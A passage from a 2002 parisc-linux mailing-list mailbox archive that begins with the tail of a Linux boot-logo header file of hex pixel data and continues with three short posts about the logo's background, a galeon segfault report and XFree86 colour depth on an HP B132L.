    0x22, 0x22, 0x21, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x28, 0x28, 0x28, 0x28, 0x26, 0x26, 0x26,
    0x26, 0x26, 0x26, 0x26, 0x25, 0x28, 0x20, 0x24,
    0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x24,
    0x25, 0x25, 0x24, 0x20, 0x20, 0x21, 0x21, 0x21,
    0x20, 0x23, 0x23, 0x20, 0x21, 0x20, 0x23, 0x21,
    0x21, 0x20, 0x20, 0x20, 0x20, 0x24, 0x24, 0x24,
    0x24, 0x24, 0x20, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x25, 0x27, 0x24, 0x21, 0x22, 0x22, 0x22,
    0x22, 0x22, 0x21, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x28, 0x28, 0x28, 0x28, 0x26, 0x26, 0x26,
    0x26, 0x26, 0x26, 0x26, 0x28, 0x28, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20,
    0x20, 0x24, 0x23, 0x23, 0x20, 0x21, 0x21, 0x21,
    0x20, 0x23, 0x23, 0x24, 0x23, 0x24, 0x23, 0x22,
    0x21, 0x20, 0x20, 0x20, 0x24, 0x24, 0x20, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x26, 0x27, 0x25, 0x21, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x28, 0x28, 0x28, 0x28, 0x26, 0x26, 0x26,
    0x26, 0x26, 0x26, 0x25, 0x28, 0x28, 0x24, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x24, 0x24, 0x24,
    0x24, 0x20, 0x21, 0x23, 0x20, 0x21, 0x21, 0x22,
    0x24, 0x23, 0x23, 0x20, 0x21, 0x20, 0x23, 0x21,
    0x21, 0x24, 0x20, 0x20, 0x24, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x25, 0x27, 0x27, 0x25, 0x21, 0x22,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x21, 0x28, 0x28, 0x28, 0x28, 0x25, 0x26, 0x26,
    0x26, 0x26, 0x25, 0x28, 0x28, 0x28, 0x24, 0x20,
    0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x22, 0x23, 0x24, 0x21, 0x22, 0x21,
    0x20, 0x23, 0x23, 0x24, 0x24, 0x24, 0x21, 0x22,
    0x23, 0x24, 0x20, 0x20, 0x24, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x26, 0x26, 0x27, 0x26, 0x23,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x21,
    0x23, 0x28, 0x28, 0x28, 0x28, 0x28, 0x25, 0x25,
    0x25, 0x25, 0x28, 0x28, 0x28, 0x28, 0x28, 0x24,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x24, 0x20,
    0x23, 0x22, 0x22, 0x23, 0x24, 0x23, 0x23, 0x21,
    0x24, 0x23, 0x23, 0x24, 0x23, 0x21, 0x22, 0x21,
    0x20, 0x24, 0x24, 0x24, 0x24, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x25, 0x26, 0x26, 0x27, 0x26,
    0x23, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x21,
    0x23, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x20,
    0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x24,
    0x23, 0x22, 0x22, 0x23, 0x24, 0x25, 0x25, 0x23,
    0x20, 0x21, 0x23, 0x20, 0x22, 0x22, 0x22, 0x23,
    0x24, 0x20, 0x20, 0x20, 0x24, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x25, 0x26, 0x26, 0x27,
    0x25, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x21,
    0x21, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x24, 0x20, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20,
    0x23, 0x21, 0x22, 0x23, 0x20, 0x21, 0x20, 0x20,
    0x22, 0x22, 0x23, 0x24, 0x21, 0x22, 0x21, 0x25,
    0x24, 0x20, 0x20, 0x24, 0x24, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x26, 0x26, 0x27,
    0x26, 0x21, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x21, 0x20, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x24, 0x24, 0x20, 0x20, 0x20, 0x24, 0x24,
    0x21, 0x22, 0x21, 0x23, 0x20, 0x23, 0x24, 0x23,
    0x22, 0x21, 0x23, 0x20, 0x21, 0x23, 0x25, 0x24,
    0x20, 0x20, 0x20, 0x20, 0x24, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x25, 0x27, 0x27,
    0x25, 0x21, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x24, 0x25, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x20, 0x24, 0x20, 0x20, 0x20, 0x20,
    0x23, 0x22, 0x21, 0x23, 0x24, 0x20, 0x20, 0x21,
    0x21, 0x21, 0x23, 0x20, 0x23, 0x25, 0x24, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x24, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x25, 0x20,
    0x21, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x24,
    0x27, 0x25, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x24, 0x24, 0x20, 0x20, 0x20,
    0x23, 0x21, 0x21, 0x23, 0x20, 0x23, 0x24, 0x23,
    0x25, 0x20, 0x23, 0x20, 0x21, 0x23, 0x23, 0x23,
    0x23, 0x23, 0x20, 0x24, 0x24, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x22,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x25, 0x27,
    0x26, 0x25, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x25, 0x20, 0x20, 0x20, 0x20,
    0x24, 0x21, 0x22, 0x23, 0x20, 0x20, 0x20, 0x21,
    0x24, 0x23, 0x23, 0x24, 0x21, 0x22, 0x21, 0x21,
    0x21, 0x22, 0x21, 0x20, 0x24, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x23,
    0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x22, 0x22, 0x22, 0x23, 0x25, 0x27, 0x27,
    0x26, 0x25, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x25, 0x20, 0x20, 0x24, 0x24, 0x24,
    0x24, 0x20, 0x21, 0x23, 0x20, 0x23, 0x23, 0x21,
    0x23, 0x21, 0x23, 0x24, 0x21, 0x21, 0x21, 0x22,
    0x22, 0x21, 0x23, 0x23, 0x20, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x25,
    0x23, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
    0x22, 0x22, 0x21, 0x24, 0x26, 0x27, 0x26, 0x26,
    0x26, 0x25, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x25, 0x20, 0x20, 0x24, 0x20, 0x20, 0x20,
    0x20, 0x25, 0x20, 0x21, 0x21, 0x22, 0x22, 0x21,
    0x21, 0x22, 0x23, 0x20, 0x22, 0x22, 0x21, 0x23,
    0x24, 0x25, 0x25, 0x23, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x25, 0x25, 0x23, 0x21, 0x21, 0x21, 0x21, 0x23,
    0x23, 0x24, 0x26, 0x27, 0x27, 0x26, 0x26, 0x26,
    0x26, 0x25, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x25,
    0x24, 0x20, 0x20, 0x24, 0x24, 0x20, 0x20, 0x24,
    0x24, 0x24, 0x25, 0x20, 0x22, 0x21, 0x21, 0x21,
    0x22, 0x22, 0x23, 0x24, 0x20, 0x23, 0x21, 0x24,
    0x20, 0x20, 0x24, 0x23, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x25, 0x27, 0x27, 0x26, 0x26, 0x26, 0x26, 0x26,
    0x27, 0x27, 0x27, 0x26, 0x26, 0x26, 0x26, 0x26,
    0x26, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x24, 0x23,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x24,
    0x20, 0x20, 0x24, 0x25, 0x24, 0x23, 0x21, 0x21,
    0x21, 0x21, 0x23, 0x24, 0x25, 0x25, 0x23, 0x20,
    0x23, 0x23, 0x20, 0x23, 0x25, 0x25, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x25, 0x26, 0x27, 0x27, 0x27, 0x27, 0x27, 0x27,
    0x26, 0x26, 0x26, 0x26, 0x26, 0x26, 0x26, 0x26,
    0x25, 0x25, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x25, 0x20, 0x21, 0x21,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x24, 0x20, 0x24, 0x24, 0x25, 0x25, 0x23,
    0x21, 0x21, 0x23, 0x20, 0x23, 0x20, 0x23, 0x24,
    0x23, 0x23, 0x20, 0x22, 0x21, 0x20, 0x25, 0x25,
    0x25, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x25,
    0x25, 0x26, 0x27, 0x27, 0x27, 0x27, 0x27, 0x27,
    0x27, 0x27, 0x27, 0x27, 0x27, 0x27, 0x27, 0x27,
    0x26, 0x25, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x25, 0x20, 0x21, 0x22, 0x23,
    0x24, 0x20, 0x20, 0x20, 0x24, 0x20, 0x24, 0x24,
    0x24, 0x20, 0x20, 0x20, 0x24, 0x24, 0x24, 0x23,
    0x21, 0x21, 0x20, 0x23, 0x23, 0x24, 0x23, 0x20,
    0x23, 0x23, 0x20, 0x21, 0x22, 0x21, 0x20, 0x20,
    0x24, 0x25, 0x25, 0x25, 0x25, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28, 0x25,
    0x25, 0x26, 0x25, 0x25, 0x24, 0x24, 0x24, 0x24,
    0x24, 0x24, 0x24, 0x24, 0x25, 0x25, 0x25, 0x26,
    0x26, 0x25, 0x28, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x28, 0x28, 0x25, 0x24, 0x20, 0x21, 0x22, 0x23,
    0x24, 0x20, 0x20, 0x24, 0x24, 0x24, 0x24, 0x20,
    0x20, 0x20, 0x24, 0x24, 0x24, 0x20, 0x23, 0x21,
    0x22, 0x22, 0x23, 0x20, 0x23, 0x20, 0x21, 0x20,
    0x23, 0x23, 0x20, 0x21, 0x21, 0x20, 0x24, 0x20,
    0x20, 0x20, 0x20, 0x24, 0x24, 0x25, 0x25, 0x25,
    0x25, 0x28, 0x28, 0x28, 0x28, 0x25, 0x25, 0x25,
    0x25, 0x23, 0x22, 0x21, 0x22, 0x22, 0x23, 0x20,
    0x20, 0x23, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x25, 0x25, 0x25, 0x28, 0x28, 0x28, 0x28, 0x28,
    0x25, 0x25, 0x20, 0x20, 0x21, 0x22, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x23, 0x20,
    0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x22, 0x21,
    0x21, 0x21, 0x23, 0x23, 0x23, 0x20, 0x21, 0x20,
    0x24, 0x24, 0x20, 0x21, 0x22, 0x20, 0x24, 0x20,
    0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x24,
    0x25, 0x25, 0x25, 0x25, 0x25, 0x25, 0x25, 0x25,
    0x21, 0x21, 0x21, 0x22, 0x23, 0x20, 0x21, 0x23,
    0x24, 0x24, 0x20, 0x24, 0x24, 0x20, 0x24, 0x20,
    0x24, 0x25, 0x25, 0x25, 0x25, 0x28, 0x25, 0x25,
    0x25, 0x23, 0x20, 0x21, 0x22, 0x22, 0x23, 0x24,
    0x20, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x22, 0x21,
    0x21, 0x21, 0x20, 0x23, 0x23, 0x24, 0x23, 0x20,
    0x20, 0x23, 0x21, 0x22, 0x23, 0x24, 0x20, 0x20,
    0x24, 0x20, 0x24, 0x20, 0x20, 0x20, 0x20, 0x23,
    0x20, 0x25, 0x25, 0x25, 0x25, 0x25, 0x25, 0x23,
    0x21, 0x21, 0x23, 0x24, 0x25, 0x25, 0x23, 0x21,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x24, 0x25, 0x25, 0x25, 0x25, 0x25, 0x24,
    0x21, 0x20, 0x24, 0x21, 0x22, 0x21, 0x24, 0x24,
    0x20, 0x20, 0x20, 0x24, 0x24, 0x24, 0x24, 0x20,
    0x24, 0x24, 0x20, 0x20, 0x20, 0x21, 0x21, 0x21,
    0x23, 0x21, 0x24, 0x23, 0x21, 0x23, 0x21, 0x20,
    0x20, 0x21, 0x21, 0x21, 0x24, 0x24, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x24, 0x24, 0x20, 0x20, 0x24,
    0x24, 0x20, 0x20, 0x21, 0x21, 0x23, 0x20, 0x24,
    0x25, 0x20, 0x23, 0x24, 0x23, 0x20, 0x21, 0x22,
    0x23, 0x20, 0x20, 0x24, 0x20, 0x20, 0x20, 0x24,
    0x20, 0x20, 0x24, 0x24, 0x23, 0x22, 0x21, 0x22,
    0x22, 0x23, 0x20, 0x21, 0x23, 0x25, 0x24, 0x20,
    0x20, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x24, 0x24, 0x23, 0x22, 0x21, 0x21,
    0x24, 0x21, 0x21, 0x21, 0x22, 0x22, 0x21, 0x20,
    0x23, 0x22, 0x21, 0x24, 0x24, 0x20, 0x20, 0x24,
    0x20, 0x20, 0x24, 0x24, 0x20, 0x24, 0x24, 0x24,
    0x20, 0x20, 0x23, 0x22, 0x22, 0x23, 0x24, 0x20,
    0x20, 0x20, 0x23, 0x20, 0x23, 0x20, 0x21, 0x22,
    0x21, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x24, 0x25, 0x20, 0x21, 0x22,
    0x21, 0x20, 0x20, 0x20, 0x25, 0x24, 0x20, 0x24,
    0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x24, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x21,
    0x24, 0x25, 0x23, 0x22, 0x22, 0x21, 0x21, 0x24,
    0x23, 0x23, 0x25, 0x25, 0x20, 0x24, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x24, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x24, 0x23, 0x21, 0x21, 0x23, 0x24, 0x23,
    0x20, 0x23, 0x23, 0x24, 0x23, 0x24, 0x21, 0x22,
    0x21, 0x24, 0x20, 0x20, 0x24, 0x24, 0x20, 0x20,
    0x20, 0x24, 0x24, 0x20, 0x24, 0x25, 0x25, 0x25,
    0x23, 0x23, 0x20, 0x23, 0x23, 0x23, 0x23, 0x23,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x24, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x24, 0x23, 0x22, 0x21,
    0x24, 0x24, 0x25, 0x20, 0x23, 0x21, 0x21, 0x24,
    0x23, 0x24, 0x25, 0x20, 0x24, 0x20, 0x24, 0x20,
    0x24, 0x24, 0x20, 0x20, 0x20, 0x24, 0x20, 0x20,
    0x20, 0x24, 0x20, 0x21, 0x22, 0x23, 0x20, 0x23,
    0x20, 0x23, 0x20, 0x23, 0x23, 0x20, 0x21, 0x21,
    0x21, 0x20, 0x20, 0x24, 0x20, 0x20, 0x24, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x24,
    0x20, 0x20, 0x24, 0x21, 0x22, 0x22, 0x22, 0x22,
    0x21, 0x23, 0x20, 0x20, 0x24, 0x20, 0x20, 0x24,
    0x24, 0x20, 0x20, 0x24, 0x20, 0x21, 0x22, 0x21,
};

#endif /* !__HAVE_ARCH_LINUX_LOGO16 */

#else /* !INCLUDE_LINUX_LOGO_DATA */

/* prototypes only */
extern unsigned char linux_logo_red[];
extern unsigned char linux_logo_green[];
extern unsigned char linux_logo_blue[];
extern unsigned char linux_logo[];
extern unsigned char linux_logo_bw[];
extern unsigned char linux_logo16[];

#endif /* !INCLUDE_LINUX_LOGO_DATA */


------=_NextPart_000_006A_01C2325C.6FB63F70--


From - Thu Nov 08 21:23:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux_logo.h
Date: Tue, 23 Jul 2002 23:14:56 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <200207232314.56027.deller@gmx.de>
References: <OE40qsOVXlCViSvIkwp00008102@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621559 11387 80.91.229.3 (22 Nov 2014 01:59:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:19 +0000 (UTC)
To: "kenneth westelinck" <kennywest1@hotmail.com>,
	<parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 23 15:16:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 2E1DC482C
	for <parisc-linux@parisc-linux.org>; Tue, 23 Jul 2002 15:16:54 -0600 (MDT)
Original-Received: (qmail 14287 invoked by uid 0); 23 Jul 2002 21:16:52 -0000
Original-Received: from pd9e085cb.dip.t-dialin.net (HELO P100.helgenet.de) (217.224.133.203)
  by mail.gmx.net (mp012-rz3) with SMTP; 23 Jul 2002 21:16:52 -0000
User-Agent: KMail/1.4.5
In-Reply-To: <OE40qsOVXlCViSvIkwp00008102@hotmail.com>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15622

Hi Kenneth,

nice logo, but personally I don't like the HP-style background.
Couldn't you make a patch without any background pattern and just black instead ?

Greetings,
Helge

On Tuesday 23 July 2002 15:20, kenneth westelinck wrote:
> Hi all,
>
> The linux_logo.h that is available on the esiee site
> (http://pateam.esiee.fr/download.html) seems a little outdated. Here's a
> version that works with 2.4.18-pa56.
>
> regards,
>
> Kenneth



From - Thu Nov 08 21:23:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Alden Smith <falden@comcast.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Bugzilla Bug  88691 galeon seg faults
Date: Tue, 23 Jul 2002 18:44:31 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <NGBBJKHCMLEJELIEEHNOCEFPCAAA.falden@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621560 11390 80.91.229.3 (22 Nov 2014 01:59:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 23 16:50:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 170EE482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Jul 2002 16:50:17 -0600 (MDT)
Original-Received: from haydn (pcp357875pcs.elictc01.md.comcast.net [68.55.155.46])
 by mtaout06.icomcast.net
 (iPlanet Messaging Server 5.1 HotFix 0.8 (built May 13 2002))
 with SMTP id <0GZQ00AUK4QEYP@mtaout06.icomcast.net> for
 parisc-linux@lists.parisc-linux.org; Tue, 23 Jul 2002 18:49:26 -0400 (EDT)
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15623

Please help,

I posted this Gnome Bugzilla Bug 88691 about repeated galeon seg faults,
but now I am wondering if this list would be better able to provide
assistance. The problem arises on Linux version 2.4.18-pa56, galeon
1.2.5-1, and mozilla 1.0.0-3.

For complete details please go to:
http://bugzilla.gnome.org/show_bug.cgi?id=88691

Take care,
frank

PS I am sorry if I am not following the proper protocol(s), my only
excuse is this is my first bug report.



From - Thu Nov 08 21:23:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: nobody@nowhere.invalid (Unknown)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFree86 on B132L using Debian 3.0
Date: Tue, 23 Jul 2002 00:08:02 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <20020723050802.GA1106@maddentechnologies.com>
References: <20020722234020.GA16294@maddentechnologies.com> <20020723010259.D36CC482C@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621560 11394 80.91.229.3 (22 Nov 2014 01:59:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:20 +0000 (UTC)
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 23 19:37:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from zeus.maddentechnologies.com (dsl-64-195-19-17.telocity.com [64.195.19.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3FB7D482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Jul 2002 19:37:58 -0600 (MDT)
Original-Received: from madden by zeus.maddentechnologies.com with local (Exim 3.35 #1 (Debian))
	id 17XB60-0002Dl-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Jul 2002 20:37:44 -0500
Content-Disposition: inline
In-Reply-To: <20020723010259.D36CC482C@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
Resent-From: madden@maddentechnologies.com
Resent-Date: Tue, 23 Jul 2002 20:37:44 -0500
Resent-To: parisc-linux@lists.parisc-linux.org
Resent-Message-Id: <E17XB60-0002Dl-00@zeus.maddentechnologies.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15624

Thank you very much for pointing me to the files.  Both the .joel and
.ggg files worked great!  Do you know if you can run X in 16 or 24 bpp?
8 bpp seems to work just fine, but it would be nice to have at least 16
bpp.

Thanks again,

Mike

